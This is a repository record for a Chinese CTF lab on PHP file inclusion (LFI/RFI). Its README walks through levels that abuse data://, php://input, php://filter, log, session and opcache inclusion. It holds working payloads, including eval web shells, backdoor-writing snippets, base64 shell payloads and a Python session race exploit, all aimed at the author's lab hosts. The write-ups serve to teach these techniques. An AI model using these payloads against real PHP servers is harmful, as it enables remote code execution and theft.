{"id":19555955,"url":"https://github.com/probiusofficial/phpinclude-labs","last_synced_at":"2025-07-21T23:35:41.494Z","repository":{"id":250716514,"uuid":"834879963","full_name":"ProbiusOfficial/PHPinclude-labs","owner":"ProbiusOfficial","description":"【Hello-CTF labs】PHP文件包含类靶场，各类协议的讲解以及基于协议的LFI/RFI","archived":false,"fork":false,"pushed_at":"2025-05-30T16:50:12.000Z","size":1143,"stargazers_count":84,"open_issues_count":0,"forks_count":13,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-05-31T00:10:27.687Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ProbiusOfficial.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2024-07-28T16:33:48.000Z","updated_at":"2025-05-30T16:50:16.000Z","dependencies_parsed_at":"2024-07-29T17:00:56.277Z","dependency_job_id":"8b99a5cf-cc3b-412d-959a-af61091e1458","html_url":"https://github.com/ProbiusOfficial/PHPinclude-labs","commit_stats":null,"previous_names":["probiusofficial/phpinclude-labs"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/ProbiusOfficial/PHPinclude-labs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPinclude-labs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPinclude-labs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPinclude-labs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPinclude-labs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ProbiusOfficial","download_url":"https://codeload.github.com/ProbiusOfficial/PHPinclude-labs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ProbiusOfficial%2FPHPinclude-labs/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":266403242,"owners_count":23923405,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-07-21T11:47:31.412Z","response_time":64,"last_error":null,"robots_txt_status":null,"robots_txt_updated_at":null,"robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-11T04:36:15.704Z","updated_at":"2025-07-21T23:35:41.476Z","avatar_url":"https://github.com/ProbiusOfficial.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"## PHPinclude-labs\n\nPHP文件包含类靶场，各类协议的讲解以及基于协议的LFI/RFI。\n\n\u003e 碎碎念\n\u003e\n\u003e 这是PHP系列靶场，比较体系化的第二个，同上一个反序列化的靶场([PHPSerialize-labs](https://github.com/ProbiusOfficial/PHPSerialize-labs)),个人而言PHP其实已经是一个快退休的语言了，因为它在Web世界的占比越来越少，这一点我在备课相关课程和写这系列靶场的时候和朋友交流过，怀疑过有没有必要写这一系列的东西，我想安全研究更像是一种思想，它不针对任何一种语言，拿文件包含来说 —— 我们千方百计的从开发手册中挖掘各种各样的函数，去拼接各种各样的协议，到后面从语言甚至语言之外的中间件寻找各种各样的临时文件，这看起来应该不是针对这一种语言的...\n\u003e 总之，希望这个靶场能够帮到你，哪怕一点点灵感——或许呢？\n\n(个人观点)对于PHP文件包含的大致学习路径（即本仓库靶场题目顺序逻辑）：\n\n**文件包含相关函数(PHP手册 \u003e 语言参考 \u003e 流程控制)** - [require](https://www.php.net/manual/zh/function.require.php),[include](https://www.php.net/manual/zh/function.include.php),[require_once](https://www.php.net/manual/zh/function.require-once.php),[include_once](https://www.php.net/manual/zh/function.include-once.php)\n\n**PHP支持的协议和封装协议**:[wrappers](https://www.php.net/manual/zh/wrappers.php)\n\n**PHP能使用的 URL 包装器（ wrapper）的文件系统函数**：[ref.filesystem](https://www.php.net/manual/zh/ref.filesystem.php)\n\n**查找可利用的文件（可控可被包含）**：可控的文件上传，可控的日志，特性文件等。\n\n**一些基于PHP语言底层逻辑的Bypass手段**：require/include_once 缺陷，FilterChain ...\n\n**其他特殊利用技巧**：opcache缓存，【compress.zlib生成临时文件；Nginx 在后端 Fastcgi 响应过大产生临时文件】（本质上属于**查找可利用的文件**），pearcmd.php ...\n\n## 关卡信息\n\n关于关卡更新依据请阅读页尾更新日志。\n\n| 序号      | 内容要点                                            |\n| --------- | --------------------------------------------------- |\n| Level 0   | include_base 体验关                                 |\n| Level 1   | file协议                                            |\n| Level 2   | data协议_1                                          |\n| Level 3   | data协议_2                                          |\n| Level 4   | http:// \u0026 https://_1                                |\n| Level 5   | http:// \u0026 https://_2                                |\n| Level 6   | php协议_简介                                        |\n| Level 7   | php协议_php://input                                 |\n| Level 8   | php协议\\_php://filter_过滤器\u0026字符串过滤器           |\n| Level 9   | php协议\\_php://filter_转换过滤器                    |\n| Level 10  | 文件系统函数简介 \u0026 文件系统函数_file_get_contents() |\n| Level 11  | 文件系统函数_file_put_contents()                    |\n| Level 11- | 封装协议解析（选自P牛2016年的文章 Filter的妙用）    |\n| Level 11+ | 文件系统函数\\_file_put_contents()_死亡绕过          |\n| Level 12  | LFI\u0026\u0026RFI的本质                                      |\n| Level 13  | LFI\\_日志文件包含_Nginx                             |\n| Level 14  | LFI\\_日志文件包含_Apache                            |\n| Level 15  | LFI_Session文件包含                                 |\n| Level 16  | FilterChain:THE_END_OF_LFI                          |\n| Level 17  | FilterChain:file read from error-based oracle       |\n| Level 18  | require/include_once 缺陷：绕过以重复包含文件       |\n| Level 19  | opcache缓存                                         |\n| Level 20  | pearcmd.php                                         |\n| Level 21  | compress.zlib生成临时文件                           |\n| Level 22  | Nginx 在后端 Fastcgi 响应过大产生临时文件           |\n| Level 23  | 伪协议读文件二次URL编码                             |\n\n## 推荐资源\n\n[CTFShow - Web入门 - 文件包含部分（web78-web117）](https://ctf.show/challenges#)\n\n[Payloads All The Things-文件包含](https://swisskyrepo.github.io/PayloadsAllTheThings/File%20Inclusion/)\n\n[Payloads All The Things-文件包含到RCE](https://swisskyrepo.github.io/PayloadsAllTheThings/File%20Inclusion/LFI-to-RCE/)\n\n[Payloads All The Things-利用wrapper实现文件包含](https://swisskyrepo.github.io/PayloadsAllTheThings/File%20Inclusion/Wrappers/)\n\n## Future\nLevel 11+ 关于 file_put_content ：  \n\n[file_put_content和死亡·杂糅代码之缘](https://xz.aliyun.com/news/7758#toc-7)  \n\n[关于file_put_contents的一些小测试](https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/)\n\n## WriteUp\n\n### Level 0 include_base\n\n```php\nisset($_GET['wrappers']) ? include($_GET['wrappers']) : '';\n```\n\n一个三目运算，其实等价于：\n\n```php\nif (isset($_GET[\"wrappers\"])) {\n    include($_GET[\"wrappers\"]);\n} else {\n}\n\n```\n\n这是一个没有过滤，纯include的关卡，你可以在这个题目中测试你想要使用的包含姿势，当然关卡的文本在后面可能会有用（如果您的部署位置在非内网且支持多个容器）。\n\n当然如果你对文件包含有些疑惑，请看下面的补充内容。\n\n我们建议您同时参阅[【PHP手册·`include` 表达式包含并运行指定文件】](https://www.php.net/manual/zh/function.include.php) 结合这部分内容进行理解。\n\n首先，您需要理解这个标题 —— \"包含并运行指定文件\",如果include包含一个 在[有效的 PHP 起始和结束标记](https://www.php.net/manual/zh/language.basic-syntax.phpmode.php)之中 的PHP代码它将被执行，否者只会在页面上打印输出内容的文本形式。\n\n然后您需要注意手册中的这几点：\n\n**\"寻找路径的方式\"：** 被包含文件先按参数给出的路径寻找，如果没有给出目录（只有文件名）时则按照 [include_path](https://www.php.net/manual/zh/ini.core.php#ini.include-path) 指定的目录寻找。如果在 [include_path](https://www.php.net/manual/zh/ini.core.php#ini.include-path) 下没找到该文件则 `include` 最后才在调用脚本文件所在的目录和当前工作目录下寻找。\n\n**\"路径定义的支持程度\"：** 如果定义了路径——不管是绝对路径（在 Windows 下以盘符或者 `\\` 开头，在 Unix/Linux 下以 `/` 开头）还是当前目录的相对路径（以 `.` 或者 `..` 开头）——[include_path](https://www.php.net/manual/zh/ini.core.php#ini.include-path) 都会被完全忽略。例如一个文件以 `../` 开头，则解析器会在当前目录的父目录下寻找该文件。\n\n### Level 1 file协议\n\nLevel 1 ~ Level 9 为协议部分的知识关卡，这部分在PHP手册也叫封装协议 - [【PHP手册 - 支持的协议和封装协议(wrappers)】](https://www.php.net/manual/zh/wrappers.php)\n\n| 协议名称                           | 功能                                                         | `allow_url_fopen` | `allow_url_include` | 示例                                                         |\n| ---------------------------------- | ------------------------------------------------------------ | ----------------- | ------------------- | ------------------------------------------------------------ |\n| `file://`                          | 访问本地文件系统                                             | Off/On        | **无**              | `file:///flag`                                               |\n| `data://`                          | 数据（RFC 2397）                                             | **On**            | **On**              | `data://text/plain,\u003c?php phpinfo();?\u003e`\u003cbr /\u003e `data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+` |\n| `http://`                          | 访问 HTTP(s) 网址                                            | **On**            | **On**              | `https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI` |\n| `php://`                           | 访问各个输入/输出流（I/O streams）                           | Off/On        | 基于参数            | `php://xxx`                                                  |\n| `php://input`                      | 访问请求的原始数据的只读流（RAW模式下POST中的DATA数据块）    | Off/On        | **On**              | `php://input` + [POST DATA部分]                              |\n| `php://filter`                     | 用于数据流打开时的筛选过滤应用                               | Off/On        | Off/On          | `php://filter/x=A\\|B\\|C\\|/resouce=xxx`                       |\n| `zlib:// compress.bzip2:// zip://` | 压缩流，可以访问压缩文件中的子文件，更重要的是不需要指定后缀名，支持任意后缀。 | Off/On        | Off/On          | `zip://[压缩文件绝对路径]#[压缩文件内的子文件名]`\u003cbr /\u003e`compress.zlib://file.gz` \u003cbr /\u003e`compress.bzip2://file.bz2` |\n| `phar://`                          | PHP 归档                                                     |                   | ？                  | ？                                                           |\n\n协议的介绍请跟进每个关卡中注释引导部分。\n\n由于题目限定使用file协议：`include(\"file://\".$_GET['wrappers'])` 所以你只能使用绝对路径来完成题目，当然，题目使用 `__DIR__` 告知了你当前路径，\n\n若按照题目提示`?wrappers=/var/www/html/phpinfo.txt` 可以包含当前路径下的  `\u003c?php phpinfo(); ?\u003e`  您可以看到 phpinfo 页面，虽然为.txt文本文件，但文件内容符合php代码规范，因此它能够被执行 —— 这一定说明，被包含的文件是否能被执行只取决于其文件内容。\n\n若按照题目提示 `?wrappers=/var/www/html/flag.php` 你会发现屏幕没有任何变化，F12查看源码也没有发现任何注释的新增，这是因为 flag.php 中 flag以静态变量形式存储：\n\n```\n\u003c?php $flag = \"HelloCTF{Test_Flag}\"; ?\u003e\n```\n\n由于并没有输出操作，它只会被加载到服务器或者说容器的内存中，这种形式的FLAG您无法通过单纯包含得到。\n\n本题 Flag 有文本形式，只需要包含根目录下的 flag 文本即可： `?wrappers=/flag` \n\n最终执行的操作语句：`include(\"file:///flag\");`\n\n### Level 2 data协议\n\n在注释引导中对该协议已经介绍的非常详细，其支持文本和base64形式。\n\n\u003e 如果传入的数据是PHP代码，就会执行代码：\n\u003e```\n\u003e data://text/plain,\u003c?php phpinfo();?\u003e\n\u003e\n\u003e data://text/plain,\u003c?php eval($_POST['helloctf']);?\u003e\n\u003e\n\u003e data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+\n\u003e\n\u003e data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+\n\u003e\n\u003e or data:text/plain\n\u003e```\n\n当然要注意，去包含data协议中的内容其实相当于进行了一次远程包含，所以data协议的利用条件需要 `php.ini` 中开启 `allow_url_fopen` 和 `allow_url_include`\n\n题目限定使用data协议：` include(\"data://text/plain\".$_GET['wrappers'])`\n\n本关卡的解法可以用引导中提供的一句话木马(文本和base64两种形式均可)：\n\n**GET:** `?wrappers=,\u003c?php eval($_POST['helloctf']);?\u003e` 然后 **POST:**`helloctf=system('cat /flag');`\n\n\u003e当然您也可以尝试去 `cat flag.php` 这不会执行该部分代码，但是结果可能会以注释的方式添加到当前页面，所以请注意查看源代码。\n\u003e\n\u003e或者 建议使用 tac —— tac命令与cat命令展示内容相反，用于将文件以行为单位的反序输出，即第一行最后显示，最后一行先显示。\n\n### Level 3 data协议_2\n\n该关卡添加了过滤，但依旧只能使用data协议，观察正则和可用字符：\n\n```php\n\u003c?php\n$all_chars = array_merge(range(chr(32), chr(126)));\n\n$regex = \"/flag|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\\u0026|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i\";\n\necho \"可用字符: \".\"\\n\";\nforeach ($all_chars as $char)\n{\n    if (!preg_match($regex, $char))\n    {  \n        echo $char.\" \";\n        } \n    } \n    \n?\u003e\n```\n\nA-Za-z0-9的形式很明显符合Base64标准编码表，所以该关卡使用Base64的输入形式进行Bypass即可,但是要注意，由于 = 和 + 被过滤，在输入Payload的时候要注意不要出现 + 以及即时删除 = \n\n\u003e 根据base64解码规则和php中base64解码宽松性，= 在解码过程开始前会被移除，所以不会影响解码结果，但是+号作为码表的一部分移除会导致解码不正确，注意分别。\n\nPayload: \n\n**GET**: `?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4`, **POST**:`hell=system('cat /flag');`\n\n### Level 4  http:// \u0026 https:// 协议\n\n请先回顾引导区内容：\n\n\u003e http/https 协议 (https://www.php.net/manual/zh/wrappers.http.php) — 常规 URL 形式，允许通过 HTTP 1.0 的 GET方法，以只读访问文件或资源，通常用于远程包含。\n\u003e\n\u003e 注意远程文件需要为可读的文本形式。\n\u003e\n\u003e 依赖：allow_url_fopen:On;allow_url_include:On;\n\n由于本题提供了现成的文本后门，只需要考虑如何用http去包含即可 —— 127.0.0.1 就行。\n\n当然已经用上了http协议，本关也可以自行包含其他远端上的PHP代码：\n\n\u003e ```php\n\u003e \u003c?php @eval($_POST['a']); ?\u003e\n\u003e ```\n\u003e\n\u003e https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI\n\u003e\n\u003e https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI\n\n如果您有自己的vps也可以包含一个开放在web服务的文本文件：\n\n\u003e http://xxx.xxx.xxx.xxx/x.txt\n\u003e\n\u003e http://domain.xxx/x.txt\n\n本题解法：**GET**:`?wrappers=127.0.0.1/backdoor.txt` **POST**:`ctf=system('cat /flag');`\n\n### Level 5  http:// \u0026 https:// 协议_2\n\n直接访问 challenge.txt ：\n\n\u003e \u003c?php isset($_GET['Key'])\u0026\u0026 1==2 ? echo \"\u003c?= system('tac flag.???');?\u003e\" : die('Access Denied');?\u003e\n\n1==2 才能执行很明显不行（，本题使用远端包含：\n\n\u003e ```php\n\u003e \u003c?php @eval($_POST['a']); ?\u003e\n\u003e ```\n\u003e\n\u003e https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI\n\u003e\n\u003e https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI\n\n本题解法：**GET**:`?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI` **POST**:`a=system('cat /flag');`\n\n### Level 6  php:// 协议\n\n\u003e php:// — 访问各个输入/输出流（I/O streams），PHP中最为复杂和强大的协议(https://www.php.net/manual/zh/wrappers.php.php)。\n\u003e\n\u003e 在CTF中经常使用的如下：\n\u003e\n\u003e php://input - 可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype=\"multipart/form-data\" 的时候php://input 是无效的。常用于执行代码。 依赖：allow_url_include:On\n\u003e\n\u003e php://filter - (PHP_Version\u003e=5.0.0)其参数会在该协议路径上进行传递，多个参数都可以在一个路径上传递，从而组成一个过滤链，常用于数据读取。\n\nDemo 关卡，用于自由探索  php:// 协议，你可以使用下面任意一种方法通关（不唯一）：\n\n```php\nphp://input + [\u003c?= system('tac flag.???');?\u003e]\nphp://input + [\u003c?php fputs(fopen('backdoor.php','w'),'\u003c?php @eval($_GET[ctf]); ?\u003e'); ?\u003e]\n\nphp://filter//resource=/flag\nphp://filter/read=convert.base64-encode/resource=flag.php\nphp://filter/convert.base64-encode/resource=flag.php\n```\n\n### Level 7  php://input 协议\n\n\u003e php://input - 可以访问请求的原始数据的只读流，在POST请求中访问POST的data部分，在enctype=\"multipart/form-data\" 的时候php://input 是无效的。常用于执行代码。 依赖：allow_url_include:On\n\u003e\n\u003e php://input做为include的直接参数时，如题，php执行时会将post内容当作文件内容，要注意，php://input不支持post提交，其请求的参数格式是原生(Raw)的内容，无法使用hackbar提交，因为hackbar不支持raw方式  \n\n题目已经提供对应答案：\n\n```php\n\u003c?php eval($_GET['ctf']); ?\u003e /* 间接代码执行 */ \n\n\u003c?php fputs(fopen('backdoor.php','w'),'\u003c?php eval($_POST[\"ctf\"]); ?\u003e'); ?\u003e /* 生成后门木马 */ \n\n\u003c?= system('tac flag.???');?\u003e /* 直接命令执行 */  \n\n```\n\n### Level 8 php://filter_过滤器\u0026字符串过滤器\n\nGET：`?wrappers=filter/string.rot13/resource=/flag`\n\n### Level 9 php://filter_转换过滤器\n\nGET：`?wrappers=filter/convert.base64-encode/resource=flag.php`\n\n### Level 10 文件系统函数_file_get_contents()\n\n我们常见的文件包含题目的大多数考点主要集中在类似 include() 函数（这里的类似强调的是 incdlue、require、include_once、require_once）的调用上，除开直接的文本包含，更多还涉及到了一些封装协议(wrappers)的使用，比如 file 协议、data 协议、php 协议等等。\n\n早在我们之前提及该部分对应文档 【支持的协议和封装协议】https://www.php.net/manual/zh/wrappers.php 时，其中的这样一句话就有强调 “PHP 带有很多内置 URL 风格的封装协议，可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。”这些函数的特定 —— 【文件系统·文件系统函数】https://www.php.net/manual/zh/book.filesystem.php。\n\n所以在文件包含的题目中，除了include类型函数，其他文件系统函数也可以用来考察协议方面的内容，比如 file_put_contents(), file_get_contents(), file(), readfile() .etc。\n\n`file_get_contents` 算是标准的Read行为，作为文件函数，他同样支持封装协议，由于题目要求输出的内容不能含有 flag 关键字，可以尝试字符串或者转换过滤器：\n\n```php\nphp://filter/string.toupper/resource=/flag （正则并没有匹配大小写）\nphp://filter/string.rot13/resource=/flag\nphp://filter/read=convert.base64-encode/resource=/flag\n...\n```\n\n### Level 11 文件系统函数_file_put_contents()\n\nfile_put_contents() 函数(https://www.php.net/manual/zh/function.file-put-contents.php) 这将对应过滤器中的Write方法，用于将数据写入文件。\n\n`file_put_contents($filename,$data)`其中`filename` 是要被写入数据的文件名 —— 如果 filename 是 \"**scheme://...**\" 的格式，则被当成一个 URL，PHP 将搜索协议处理器（也被称为封装协议）来处理此模式。\n\n```php\nfunction hello_ctf($filename,$data){\n    if(preg_match(\"/flag|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\\u0026|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i\", $data)){\n        die(\"WAF!\");\n    }\n    file_put_contents($filename,$data);\n}\n```\n\n正则同 Level 3 中一样,那么写入一个Base64字符串即可。\n\nPayload：\n\n**GET**：`?filename=php://filter/write=convert.base64-decode/resource=backdoor.php`\n\n**POST**：`data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4`\n\n```php\nbackdoor.php : \u003c?php eval($_POST['hell']);?\u003e\n```\n\n### Level 11- 封装协议解析\n\n死亡绕过前置关卡，最早来源于P牛2016年的博客文章：https://www.leavesongs.com/PENETRATION/php-filter-magic.html\n\n不过由于PHP版本的更新，string.strip_tags 已经被弃用。\n\n注：该关卡没有FLAG.\n\n[【filter过滤器】](https://www.php.net/manual/zh/filters.convert.php)：\n\n`string.rot13`\n\n`string.strip_tags` 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)\n\n`convert.base64-encode` 和 `convert.base64-decode`\n\n`convert.iconv.\u003cinput-encoding\u003e.\u003coutput-encoding\u003e` 或 `convert.iconv.\u003cinput-encoding\u003e/\u003coutput-encoding\u003e`\n\n```php\nfunction helloctf($filter){\n    $wrapper = \"php://filter/read=\".$filter.\"/resource=php://input\";\n    echo \"This is what you got:\".\"\u003cbr\u003e\";\n    readfile($wrapper);\n}\n```\n\n### Level 11+ 死亡绕过\n\n```php\nfunction hello_ctf($filename,$data){\n    if(preg_match(\"/flag|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\\u0026|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i\", $data)){\n        die(\"WAF!\");\n    }\n    file_put_contents($filename, \"\u003c?php die('GAME OVER!') ?\u003e\".$data);\n}\n```\n\n![image-20240806112106652](./assets/image-20240806112106652.png)\n\n对内容填充两个字符后可以使前方无效后方正常解析。\n\n**GET**:`?filename=php://filter/write=convert.base64-decode/resource=shell.php`\n\n**POST**:`data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4`\n\n\n\n### Level 12 LFI\u0026\u0026RFI\n\n**本地文件包含(LFI,Local File Inclusion)** : 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含，session文件包含，FilterChain等等。\n\n本地文件包含是最常见的文件包含漏洞，在前面关卡中几乎所有的演示都是LFI（比如包含phpinfo.txt，backdoor.txt这样的行为）。\n\ntry ?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI\n\nRFI-  Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为，相比于LFI，远程服务器上文件的可控性更高，因此危害更高，但代价就是条件苛刻，十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式，当然一定意义上，使用data协议去生成字符串然后包含也是一种远程文件包含。\n\n### Level 13 LFI_日志文件包含\\_Nginx\n\n在wrappers被过滤的情况下，通常使用日志文件包含的方式来绕过，由于文件包含漏洞最大的需求点是文件，所以我们需要得知日志文件的位置，通常情况下为默认位置。\n\n```\n+ /var/log/nginx/     - 默认Nginx日志目录\n+ + /var/log/nginx/access.log\n```\n\n该关卡的Dockerfile对于日志的配置为：VOLUME [\"/var/log/nginx\"]\n\n\n\n\n\n访问日志文件，可以成功读取\n\nbp抓包尝试user-agent注入phpinfo成功\n\n写入一句话木马\n\n后台链接\n\n### Level 14 LFI_日志文件包含\\_Apache\n\n同level 13，日志文件路径不同。\n\n(小声说一句这个洞只有你猜到路径才有，一般来说不会是默认路径)\n\n![image-20240806112106652](./assets/level14.png)\n\n### Level 15 LFI_Session文件包含\n\n这个漏洞可以有两种利用，为了方便两种利用方式应该都可以实现\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://URL/index.php\" method=\"post\" enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"hidden\" name=\"PHP_SESSION_UPLOAD_PROGRESS\" vaule=\"\u003c?php phpinfo();?\u003e\" /\u003e\n    \u003cinput type=\"file\" name=\"file1\" /\u003e\n    \u003cinput type=\"file\" name=\"file2\" /\u003e\n    \u003cinput type=\"submit\" /\u003e\n\u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n默认位置：/var/lib/sessions/sess_{PHPSESSID}\n\n/var/lib/sessions/sess_hello\n\nexp:\n\n```python\nimport io\nimport sys\nimport requests\nimport threading\n\nsessid = 'mixian'\n\n\ndef POST(session):\n    while True:\n        f = io.BytesIO(b'a' * 1024 * 50)\n        session.post(\n            'http://core.hello-ctf.com:34292/index.php',\n            data={\n                \"PHP_SESSION_UPLOAD_PROGRESS\": \"\u003c?php @eval($_POST[cmd]);fputs(fopen('shell.php','w'),'\u003c?php @eval($_POST[cmd])?\u003e');?\u003e\"},\n            files={\"file\": ('q.txt', f)},\n            cookies={'PHPSESSID': sessid}\n        )\n\n\ndef READ(session):\n    while True:\n\n        data={\n            \"cmd\" : \"system('cat /flag');\"\n\n        }\n        response = session.post(f\"http://core.hello-ctf.com:34292/index.php?file=/var/lib/sessions/sess_b928ce6bbd1bea764e24d855011f9ed7\",data=data)\n\n\n        if 'flag{' not in response.text:\n            print(response.text)\n        else:\n            print(response.text)\n            sys.exit(0)\n\n\nwith requests.session() as session:\n    t1 = threading.Thread(target=POST, args=(session,))\n    t1.daemon = True\n    t1.start()\n\n    READ(session)\n\n```\n\n\n\n###  Level 16 FilterChain:THE_END_OF_LFI\n\n根据题目 action=read resource=flga.php即可\n\n我发现也不一定非得用exp 构造\n\npayload:\n\n?file=php://filter/read=convert.base64-encode/resource=flag.php\u0026action=read\n\n得到Base64编码后的结果\n\n解码即可\n\n\n### Level 17 FilterChain:file read from error-based oracle\n\n根据题目信息 下载exp\n\n运行拿到flag\n\n![image-20240806112106652](./assets/level17.png)\n\n### Level 18:require/include_once 缺陷：绕过以重复包含文件\nModified From: [WMCTF2020]Make PHP Great Again.\n\n参考WP可以直接看：[php源码分析 require_once 绕过不能重复包含文件的限制](https://www.anquanke.com/post/id/213235)\n\n### Level 19:opcache缓存\nModified From: [湖湘杯2020] 题目名字不重要反正题挺简单的\n\nOPcache会在特定的目录缓存编译后的PHP文件，以达到在你下次访问的时候直接调用缓存中的字节码以提高响应速度 —— 利用这一特性，如果我们复写缓存文件为恶意代码，那么下次调用的时候就会执行恶意代码。 \n\n当然在文件包含的这个关卡，我们只是简要的利用他会生成 filename.type.bin 这一特性去读取文件。 \n\n具体的细节师傅们可以自行了解，你也可以通过修改该靶场的文件来搭建复写类型的RCE漏洞。 \n\n[F12 - opcache导致的RCE复现 ](https://www.cnblogs.com/F12-blog/p/18001985) \n\n[笑花大王 - php7的Opcache getshell](https://www.cnblogs.com/xhds/p/13239331.html)\n\n计算对应ID的脚本以附在靶场中:exp.py\n\n```python\nimport sys\nimport re\nimport requests\nimport hashlib\nfrom packaging import version  # pip install packaging\n\nurl = 'http://core.hello-ctf.com:32882/'\nphpinfo_url = url + '/?file=phpinfo'\n\ntext = requests.get(phpinfo_url).text\nprint(text)\nphp_version = re.search(r'\u003ctr\u003e\u003ctd class=\"e\"\u003ePHP Version \u003c/td\u003e\u003ctd class=\"v\"\u003e(.*) \u003c/td\u003e\u003c/tr\u003e', text)\nif php_version is None:\n    php_version = re.search(r'\u003ch1 class=\"p\"\u003ePHP Version (.*)', text)\nif php_version is None:\n    print(\"No PHP version found, is this a phpinfo file?\")\n    sys.exit(0)\nphp_version = php_version.group(1)\nphp_greater_74 = (version.parse(\"7.4.0\") \u003c version.parse(php_version.split(\"-\")[0]))\nzend_extension_id = re.search(r'\u003ctr\u003e\u003ctd class=\"e\"\u003eZend Extension Build \u003c/td\u003e\u003ctd class=\"v\"\u003e(.*) \u003c/td\u003e\u003c/tr\u003e', text)\nif zend_extension_id is None:\n    print(\"No Zend Extension Build found.\")\n    sys.exit(0)\nzend_extension_id = zend_extension_id.group(1)\narchitecture = re.search(r'\u003ctr\u003e\u003ctd class=\"e\"\u003eSystem \u003c/td\u003e\u003ctd class=\"v\"\u003e(.*) \u003c/td\u003e\u003c/tr\u003e', text)\nif architecture is None:\n    print(\"No System info found.\")\n    sys.exit(0)\narchitecture = architecture.group(1).split()[-1]\nif architecture == \"x86_64\":\n    bin_id_suffix = \"48888\"\nelse:\n    bin_id_suffix = \"44444\"\nif php_greater_74:\n    zend_bin_id = \"BIN_\" + bin_id_suffix\nelse:\n    zend_bin_id = \"BIN_SIZEOF_CHAR\" + bin_id_suffix\nif not php_greater_74:\n    if architecture == \"x86_64\":\n        alt_bin_id_suffix = \"148888\"\n    else:\n        alt_bin_id_suffix = \"144444\"\n\n    alt_zend_bin_id = \"BIN_\" + alt_bin_id_suffix\nprint(\"PHP version : \" + php_version)\nprint(\"Zend Extension ID : \" + zend_extension_id)\nprint(\"Zend Bin ID : \" + zend_bin_id)\nprint(\"Assuming \" + architecture + \" architecture\")\ndigest = hashlib.md5((php_version + zend_extension_id + zend_bin_id).encode()).hexdigest()\nprint(\"------------\")\nprint(\"System ID : \" + digest)\nif not php_greater_74:\n    alt_digest = hashlib.md5((php_version + zend_extension_id + alt_zend_bin_id).encode()).hexdigest()\n    print(\"PHP lower than 7.4 detected, an alternate Bin ID is possible:\")\n    print(\"Alternate Zend Bin ID : \" + alt_zend_bin_id)\n    print(\"Alternate System ID : \" + alt_digest)\nprint(\"------------\")\n```\n\n该关卡配置:\n```bash\nallow_url_fopen=Off\nallow_url_include=Off\nopcache.enable=1\nopcache.validate_timestamps=0\nopcache.file_cache_only=1 \nopcache.file_cache=/var/www/html/opcache\n```\n\n相关文件：\n\n当前目录下 flag.php 文件，flag以静态变量形式存储在文件中。\n\n### Level 20: pearcmd.php \n选自P牛2021年的文章中 0x06 pearcmd.php的巧妙利用 ：https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html\n\n### Level 21: compress.zlib生成临时文件\nModified form [hxp 36C3 CTF]includerLevel 21: 